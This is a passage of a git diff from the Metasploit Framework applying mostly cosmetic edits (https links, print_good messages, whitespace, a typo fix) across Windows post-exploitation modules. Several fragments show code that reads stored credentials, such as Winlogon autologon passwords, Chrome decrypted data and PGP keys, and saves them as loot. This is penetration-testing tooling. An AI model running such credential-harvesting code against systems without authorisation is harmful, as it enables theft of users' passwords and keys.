 require 'msf/core/post/windows/mssql'
 
-
 class MetasploitModule < Msf::Post
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::MSSQL
@@ -182,5 +181,4 @@ class MetasploitModule < Msf::Post
         return false
     end
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/nimbuzz.rb b/modules/post/windows/gather/credentials/nimbuzz.rb
index fed038618f..f372313c67 100644
--- a/modules/post/windows/gather/credentials/nimbuzz.rb
+++ b/modules/post/windows/gather/credentials/nimbuzz.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -46,7 +46,7 @@ class MetasploitModule < Msf::Post
       subkeys = registry_enumkeys("HKU\\#{k}\\Software\\Nimbuzz\\")
 
       if subkeys == nil or subkeys == ""
-        print_status ("Nimbuzz Instant Messenger not installed for this user.")
+        print_status("Nimbuzz Instant Messenger not installed for this user.")
         return
       end
 
@@ -70,8 +70,6 @@ class MetasploitModule < Msf::Post
       'nimbuzz_user_creds.csv',
       'Nimbuzz User Credentials'
     )
-
-    print_status("Nimbuzz user credentials saved in: #{path}")
+    print_good("Nimbuzz user credentials saved in: #{path}")
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb
index cb33c7ae22..8d5e89720b 100644
--- a/modules/post/windows/gather/credentials/outlook.rb
+++ b/modules/post/windows/gather/credentials/outlook.rb
@@ -1,14 +1,13 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::Priv
   include Msf::Auxiliary::Report
@@ -386,5 +385,4 @@ class MetasploitModule < Msf::Post
 
     print_status("Complete")
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/razer_synapse.rb b/modules/post/windows/gather/credentials/razer_synapse.rb
index e2bd3dcae9..b9bdc62643 100644
--- a/modules/post/windows/gather/credentials/razer_synapse.rb
+++ b/modules/post/windows/gather/credentials/razer_synapse.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'openssl'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::UserProfiles
   include Msf::Post::File
 
diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb
index e6e726ea7f..e074174643 100644
--- a/modules/post/windows/gather/credentials/razorsql.rb
+++ b/modules/post/windows/gather/credentials/razorsql.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'msf/core/auxiliary/report'
 require 'openssl'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::UserProfiles
@@ -209,7 +208,6 @@ class MetasploitModule < Msf::Post
 
     aes.update(enc) + aes.final
   end
-
 end
 
 =begin
diff --git a/modules/post/windows/gather/credentials/rdc_manager_creds.rb b/modules/post/windows/gather/credentials/rdc_manager_creds.rb
index 5677f631dc..b63a8e77b4 100644
--- a/modules/post/windows/gather/credentials/rdc_manager_creds.rb
+++ b/modules/post/windows/gather/credentials/rdc_manager_creds.rb
@@ -1,7 +1,7 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,7 +9,6 @@ require 'rexml/document'
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::UserProfiles
   include Msf::Post::Windows::Priv
   include Msf::Auxiliary::Report
diff --git a/modules/post/windows/gather/credentials/skype.rb b/modules/post/windows/gather/credentials/skype.rb
index 2b015689a5..c044771b56 100644
--- a/modules/post/windows/gather/credentials/skype.rb
+++ b/modules/post/windows/gather/credentials/skype.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -144,7 +144,7 @@ puts hash.hexdigest
   def get_config_creds(salt)
     users = []
     appdatapath = expand_path("%AppData%") + "\\Skype"
-    print_status ("Checking for config files in %APPDATA%")
+    print_status("Checking for config files in %APPDATA%")
     users = get_config_users(appdatapath)
     if users.any?
       users.each do |user|
@@ -171,6 +171,5 @@ puts hash.hexdigest
       print_error "No salt found. Cannot continue without salt, exiting"
     end
   end
-
 end
 
diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb
index 3805f1b306..9e463e5e52 100644
--- a/modules/post/windows/gather/credentials/smartermail.rb
+++ b/modules/post/windows/gather/credentials/smartermail.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Auxiliary::Report
 
diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb
index 0b90b93501..eada192c35 100644
--- a/modules/post/windows/gather/credentials/smartftp.rb
+++ b/modules/post/windows/gather/credentials/smartftp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rexml/document'
 
 class MetasploitModule < Msf::Post
diff --git a/modules/post/windows/gather/credentials/spark_im.rb b/modules/post/windows/gather/credentials/spark_im.rb
index 935898d7da..aa889bb6eb 100644
--- a/modules/post/windows/gather/credentials/spark_im.rb
+++ b/modules/post/windows/gather/credentials/spark_im.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'openssl'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::UserProfiles
 
   def initialize(info={})
diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb
index e9aedf4e15..b49617f158 100644
--- a/modules/post/windows/gather/credentials/sso.rb
+++ b/modules/post/windows/gather/credentials/sso.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/priv'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Auxiliary::Report
 
@@ -151,6 +150,5 @@ class MetasploitModule < Msf::Post
 
     system_users.find{|r| user.to_s.match(r)}
   end
-
 end
 
diff --git a/modules/post/windows/gather/credentials/steam.rb b/modules/post/windows/gather/credentials/steam.rb
index 6607907337..b17b8bf208 100644
--- a/modules/post/windows/gather/credentials/steam.rb
+++ b/modules/post/windows/gather/credentials/steam.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Auxiliary::Report
 
@@ -71,5 +70,4 @@ class MetasploitModule < Msf::Post
     end
 
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb
index 95fe6fb1ff..bdd30fbfcd 100644
--- a/modules/post/windows/gather/credentials/tortoisesvn.rb
+++ b/modules/post/windows/gather/credentials/tortoisesvn.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
@@ -236,5 +235,4 @@ class MetasploitModule < Msf::Post
 
     print_status("Complete")
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/total_commander.rb b/modules/post/windows/gather/credentials/total_commander.rb
index 47bf382c01..9d96777b5b 100644
--- a/modules/post/windows/gather/credentials/total_commander.rb
+++ b/modules/post/windows/gather/credentials/total_commander.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'rex/parser/ini'
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::UserProfiles
diff --git a/modules/post/windows/gather/credentials/trillian.rb b/modules/post/windows/gather/credentials/trillian.rb
index 49798cfecb..f96e15f1e3 100644
--- a/modules/post/windows/gather/credentials/trillian.rb
+++ b/modules/post/windows/gather/credentials/trillian.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'rex/parser/ini'
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::UserProfiles
@@ -80,11 +79,10 @@ class MetasploitModule < Msf::Post
         'trillian_user_creds.csv',
         'Trillian Instant Messenger User Credentials'
         )
-
-      print_status("Trillian Instant Messenger user credentials saved in: #{path}")
+      print_good("Trillian Instant Messenger user credentials saved in: #{path}")
 
     rescue ::Exception => e
-      print_error("An error has occured: #{e.to_s}")
+      print_error("An error has occurred: #{e.to_s}")
     end
   end
 
diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb
index 4120088e94..049e5d95d3 100644
--- a/modules/post/windows/gather/credentials/vnc.rb
+++ b/modules/post/windows/gather/credentials/vnc.rb
@@ -1,7 +1,5 @@
-# post/windows/gather/enum_vnc_pw.rb
-
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,7 +7,6 @@ require 'msf/core/auxiliary/report'
 require 'rex/proto/rfb'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::UserProfiles
diff --git a/modules/post/windows/gather/credentials/windows_autologin.rb b/modules/post/windows/gather/credentials/windows_autologin.rb
index 0cf6f1170f..c01a76a963 100644
--- a/modules/post/windows/gather/credentials/windows_autologin.rb
+++ b/modules/post/windows/gather/credentials/windows_autologin.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -45,8 +45,6 @@ class MetasploitModule < Msf::Post
 
     has_al = 0
 
-    # DefaultDomainName, DefaultUserName, DefaultPassword
-    # AltDefaultDomainName, AltDefaultUserName, AltDefaultPassword
     logon_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\"
     al = registry_getvaldata(logon_key, "AutoAdminLogon")        || ''
 
@@ -58,24 +56,16 @@ class MetasploitModule < Msf::Post
     du2 = registry_getvaldata(logon_key, "AltDefaultUserName")   || ''
     dp2 = registry_getvaldata(logon_key, "AltDefaultPassword")   || ''
 
-    if do1 != '' and  du1 != '' and dp1 == '' and al == '1'
+    if do1 != '' && du1 != '' && (dp1 != '' || (dp1 == '' && al == '1'))
       has_al = 1
-      creds << [du1,dp1, do1]
-      print_good("DefaultDomain=#{do1}, DefaultUser=#{du1}, DefaultPassword=#{dp1}")
-    elsif do1 != '' and  du1 != '' and dp1 != ''
-      has_al = 1
-      creds << [du1,dp1, do1]
-      print_good("DefaultDomain=#{do1}, DefaultUser=#{du1}, DefaultPassword=#{dp1}")
+      creds << [du1, dp1, do1]
+      print_good("AutoAdminLogon=#{al}, DefaultDomain=#{do1}, DefaultUser=#{du1}, DefaultPassword=#{dp1}")
     end
 
-    if do2 != '' and  du2 != '' and dp2 == '' and al == '1'
+    if do2 != '' && du2 != '' && (dp2 != '' || (dp2 == '' && al == '1'))
       has_al = 1
-      creds << [du2,dp2,do2]
-      print_good("AltDomain=#{do2}, AltUser=#{du2}, AltPassword=#{dp2}")
-    elsif do2 != '' and  du2 != '' and dp2 != ''
-      has_al = 1
-      creds << [du2,dp2,do2]
-      print_good("AltDomain=#{do2}, AltUser=#{du2}, AltPassword=#{dp2}")
+      creds << [du2, dp2, do2]
+      print_good("AutoAdminLogon=#{al}, AltDomain=#{do2}, AltUser=#{du2}, AltPassword=#{dp2}")
     end
 
     if has_al == 0
diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb
index 844aa670f8..98b52f56bf 100644
--- a/modules/post/windows/gather/credentials/winscp.rb
+++ b/modules/post/windows/gather/credentials/winscp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -143,7 +143,7 @@ class MetasploitModule < Msf::Post
     print_good("WinSCP.ini located at #{file_path}")
     file = read_file(file_path)
     stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path)
-    print_status("WinSCP saved to loot: #{stored_path}")
+    print_good("WinSCP saved to loot: #{stored_path}")
     parse_ini(file).each do |res|
       winscp_store_config(res)
     end
@@ -187,5 +187,4 @@ class MetasploitModule < Msf::Post
 
     create_credential_login(login_data)
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/wsftp_client.rb b/modules/post/windows/gather/credentials/wsftp_client.rb
index d6e033c727..391605297e 100644
--- a/modules/post/windows/gather/credentials/wsftp_client.rb
+++ b/modules/post/windows/gather/credentials/wsftp_client.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/parser/ini'
 require 'msf/core/auxiliary/report'
 
-
 class MetasploitModule < Msf::Post
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
diff --git a/modules/post/windows/gather/dnscache_dump.rb b/modules/post/windows/gather/dnscache_dump.rb
index 22024d3c25..55f1e731d8 100644
--- a/modules/post/windows/gather/dnscache_dump.rb
+++ b/modules/post/windows/gather/dnscache_dump.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb
index ca6523e52e..6c5fccb4b1 100644
--- a/modules/post/windows/gather/dumplinks.rb
+++ b/modules/post/windows/gather/dumplinks.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::Accounts
 
diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb
index ad6643a7a5..8bdc52d560 100644
--- a/modules/post/windows/gather/enum_ad_bitlocker.rb
+++ b/modules/post/windows/gather/enum_ad_bitlocker.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,7 +73,7 @@ class MetasploitModule < Msf::Post
 
     if datastore['STORE_LOOT']
       stored_path = store_loot('bitlocker.recovery', 'text/plain', session, results_table.to_csv)
-      print_status("Results saved to: #{stored_path}")
+      print_good("Results saved to: #{stored_path}")
     end
   end
 end
diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb
index b6d3568ad9..f35a3a6e0b 100644
--- a/modules/post/windows/gather/enum_ad_computers.rb
+++ b/modules/post/windows/gather/enum_ad_computers.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::LDAP
 
@@ -145,9 +144,8 @@ class MetasploitModule < Msf::Post
     print_line results_table.to_s
     if datastore['STORE_LOOT']
       stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv)
-      print_status("Results saved to: #{stored_path}")
+      print_good("Results saved to: #{stored_path}")
     end
   end
-
 end
 
diff --git a/modules/post/windows/gather/enum_ad_groups.rb b/modules/post/windows/gather/enum_ad_groups.rb
index d143851319..1de0e057fe 100644
--- a/modules/post/windows/gather/enum_ad_groups.rb
+++ b/modules/post/windows/gather/enum_ad_groups.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb
index 2dfccfc604..7e73983510 100644
--- a/modules/post/windows/gather/enum_ad_managedby_groups.rb
+++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/enum_ad_service_principal_names.rb b/modules/post/windows/gather/enum_ad_service_principal_names.rb
index ac1e9d8417..b98b81acdc 100644
--- a/modules/post/windows/gather/enum_ad_service_principal_names.rb
+++ b/modules/post/windows/gather/enum_ad_service_principal_names.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::LDAP
 
@@ -90,7 +89,7 @@ class MetasploitModule < Msf::Post
 
     print_line results_table.to_s
     stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv)
-    print_status("Results saved to: #{stored_path}")
+    print_good("Results saved to: #{stored_path}")
   end
 
   def parse_result(result, fields)
@@ -122,6 +121,5 @@ class MetasploitModule < Msf::Post
 
     rows
   end
-
 end
 
diff --git a/modules/post/windows/gather/enum_ad_to_wordlist.rb b/modules/post/windows/gather/enum_ad_to_wordlist.rb
index f039f318bf..a5d2af4835 100644
--- a/modules/post/windows/gather/enum_ad_to_wordlist.rb
+++ b/modules/post/windows/gather/enum_ad_to_wordlist.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::LDAP
 
@@ -80,7 +79,7 @@ class MetasploitModule < Msf::Post
 
     print_good("Wordlist with #{ordered_dict.length} entries built")
     stored_path = store_loot('ad.wordlist', 'text/plain', session, ordered_dict.join("\n"))
-    print_status("Results saved to: #{stored_path}")
+    print_good("Results saved to: #{stored_path}")
   end
 
   def search_words(field)
diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb
index 02d043963f..3807e2f93d 100644
--- a/modules/post/windows/gather/enum_ad_user_comments.rb
+++ b/modules/post/windows/gather/enum_ad_user_comments.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::LDAP
 
@@ -76,9 +75,8 @@ class MetasploitModule < Msf::Post
 
     if datastore['STORE_LOOT']
       stored_path = store_loot('ad.users', 'text/plain', session, results_table.to_csv)
-      print_status("Results saved to: #{stored_path}")
+      print_good("Results saved to: #{stored_path}")
     end
   end
-
 end
 
diff --git a/modules/post/windows/gather/enum_ad_users.rb b/modules/post/windows/gather/enum_ad_users.rb
index 3cf662be9c..4ca9f79ebb 100644
--- a/modules/post/windows/gather/enum_ad_users.rb
+++ b/modules/post/windows/gather/enum_ad_users.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,7 +84,7 @@ class MetasploitModule < Msf::Post
 
       if datastore['STORE_LOOT']
         stored_path = store_loot('ad.users', 'text/plain', session, results_table.to_csv)
-        print_status("Results saved to: #{stored_path}")
+        print_good("Results saved to: #{stored_path}")
       end
     end
   end
diff --git a/modules/post/windows/gather/enum_applications.rb b/modules/post/windows/gather/enum_applications.rb
index 224ddb3689..4191133b9f 100644
--- a/modules/post/windows/gather/enum_applications.rb
+++ b/modules/post/windows/gather/enum_applications.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
 
   def initialize(info={})
@@ -66,12 +65,11 @@ class MetasploitModule < Msf::Post
     print_line("\n" + results + "\n")
 
     p = store_loot("host.applications", "text/plain", session, results, "applications.txt", "Installed Applications")
-    print_status("Results stored in: #{p}")
+    print_good("Results stored in: #{p}")
   end
 
   def run
     print_status("Enumerating applications installed on #{sysinfo['Computer']}")
     app_list
   end
-
 end
diff --git a/modules/post/windows/gather/enum_artifacts.rb b/modules/post/windows/gather/enum_artifacts.rb
index a5c0470802..c57badf49e 100644
--- a/modules/post/windows/gather/enum_artifacts.rb
+++ b/modules/post/windows/gather/enum_artifacts.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'yaml'
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
   include Msf::Post::File
   include Msf::Post::Windows::Registry
@@ -92,7 +91,6 @@ class MetasploitModule < Msf::Post
     end
 
     f = store_loot('enumerated.artifacts', 'text/plain', session, str, name)
-    print_status("#{name} stored in: #{f}")
+    print_good("#{name} stored in: #{f}")
   end
-
 end
diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb
index 0e1d39b089..f90849af6a 100644
--- a/modules/post/windows/gather/enum_av_excluded.rb
+++ b/modules/post/windows/gather/enum_av_excluded.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb
index 68dbd73a57..0281b0233c 100644
--- a/modules/post/windows/gather/enum_chrome.rb
+++ b/modules/post/windows/gather/enum_chrome.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Priv
 
@@ -49,7 +48,7 @@ class MetasploitModule < Msf::Post
       vprint_good(key_data)
       path = store_loot(
         "chrome.mailvelope.#{priv_or_pub}", "text/plain", session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key")
-      print_status("==> Saving #{priv_or_pub} key to: #{path}")
+      print_good("==> Saving #{priv_or_pub} key to: #{path}")
     end
   end
 
@@ -63,7 +62,7 @@ class MetasploitModule < Msf::Post
     print_status("==> Downloading Mailvelope database...")
     local_path = store_loot("chrome.ext.mailvelope", "text/plain", session, "chrome_ext_mailvelope")
     session.fs.file.download_file(local_path, maildb_path)
-    print_status("==> Downloaded to #{local_path}")
+    print_good("==> Downloaded to #{local_path}")
 
     maildb = SQLite3::Database.new(local_path)
     columns, *rows = maildb.execute2("select * from ItemTable;")
@@ -152,7 +151,7 @@ class MetasploitModule < Msf::Post
 
       rows.map! do |row|
         res = Hash[*columns.zip(row).flatten]
-        if item[:encrypted_fields] && session.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
+        if item[:encrypted_fields] && !session.sys.config.is_system?
 
           item[:encrypted_fields].each do |field|
             name = (res["name_on_card"] == nil) ? res["username_value"] : res["name_on_card"]
@@ -171,7 +170,7 @@ class MetasploitModule < Msf::Post
 
     if secrets != ""
       path = store_loot("chrome.decrypted", "text/plain", session, decrypt_table.to_s, "decrypted_chrome_data.txt", "Decrypted Chrome Data")
-      print_status("Decrypted data saved in: #{path}")
+      print_good("Decrypted data saved in: #{path}")
     end
   end
 
@@ -193,7 +192,7 @@ class MetasploitModule < Msf::Post
       local_path = store_loot("chrome.raw.#{f}", "text/plain", session, "chrome_raw_#{f}")
       raw_files[f] = local_path
       session.fs.file.download_file(local_path, remote_path)
-      print_status("Downloaded #{f} to '#{local_path}'")
+      print_good("Downloaded #{f} to '#{local_path}'")
     end
 
     #Assign raw file paths to @chrome_files
@@ -334,5 +333,4 @@ class MetasploitModule < Msf::Post
       migrate(@old_pid)
     end
   end
-
 end
diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb
index ed19041bb0..b7a9d99997 100644
--- a/modules/post/windows/gather/enum_computers.rb
+++ b/modules/post/windows/gather/enum_computers.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   include Msf::Post::Windows::Registry
diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb
index 21e4d7f96d..53be714640 100644
--- a/modules/post/windows/gather/enum_db.rb
+++ b/modules/post/windows/gather/enum_db.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
@@ -72,7 +71,7 @@ class MetasploitModule < Msf::Post
 
     print_line(tbl.to_s)
     p = store_loot("host.databases", "text/plain", session, tbl.to_s, "databases.txt", "Running Databases")
-    print_status("Results stored in: #{p}")
+    print_good("Results stored in: #{p}")
 
   end
 
@@ -341,6 +340,5 @@ class MetasploitModule < Msf::Post
     end
     return data
   end
-
 end
 
diff --git a/modules/post/windows/gather/enum_devices.rb b/modules/post/windows/gather/enum_devices.rb
index 3fd0afa16c..8241e28463 100644
--- a/modules/post/windows/gather/enum_devices.rb
+++ b/modules/post/windows/gather/enum_devices.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
 
   def initialize(info={})
@@ -135,7 +134,7 @@ class MetasploitModule < Msf::Post
     vprint_line("\n" + results)
 
     path = store_loot("host.hardware", "text/plain", session, results, "hardware.txt", "Host Hardware")
-    print_status("Results saved in: #{path}")
+    print_good("Results saved in: #{path}")
   end
 
   def run
diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb
index 7fb355dd18..90a282cb9b 100644
--- a/modules/post/windows/gather/enum_dirperms.rb
+++ b/modules/post/windows/gather/enum_dirperms.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Accounts
 
   def initialize(info={})
